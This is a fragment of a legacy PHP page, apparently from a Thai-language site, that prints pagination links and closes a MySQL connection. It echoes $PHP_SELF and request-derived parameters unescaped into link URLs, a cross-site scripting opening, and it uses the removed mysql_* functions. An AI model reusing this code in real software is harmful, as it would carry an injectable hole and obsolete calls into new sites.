}
}
if($Num_Pages>($i-1))
{
if($Num_Pages>($i+1))
{
$bNum_Pages = $Num_Pages - 1;
echo "<span class='dots'>...</span><a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order#top_page'>$bNum_Pages</a>";
}else if($Num_Pages==($i+1))
{
$bNum_Pages = $i;
echo "<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order#top_page'>$bNum_Pages</a>";
}
echo "<a href ='$PHP_SELF?Page=$Num_Pages&sd=$sd&sh_order=$sp_order#top_page'>$Num_Pages</a>";
}
if($Page!=$Num_Pages)
echo " <a class='nav-link' href ='$PHP_SELF?Page=$Next_Page&sd=$sd&sh_order=$sp_order#top_page'>ถัดไป »</a> ";
mysql_free_result($result);
unset($result);
unset($dbquery);
include("../include/close_db.php");
?>
</div>
</div>
</div>
<a style="display:block;position:fixed;bottom:20px;right:20px;background:#16599e;width:44px;height:44px;border-radius:50%;display:flex;align-items:center;justify-content:center;box-shadow:0 4px 12px rgba(22,89,158,.35);" class="backtotop" href="#top" rel="nofollow" title="Back to Top">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"><path d="M12 19V5M5 12l7-7 7 7"/></svg>
</a>
</body>
</html>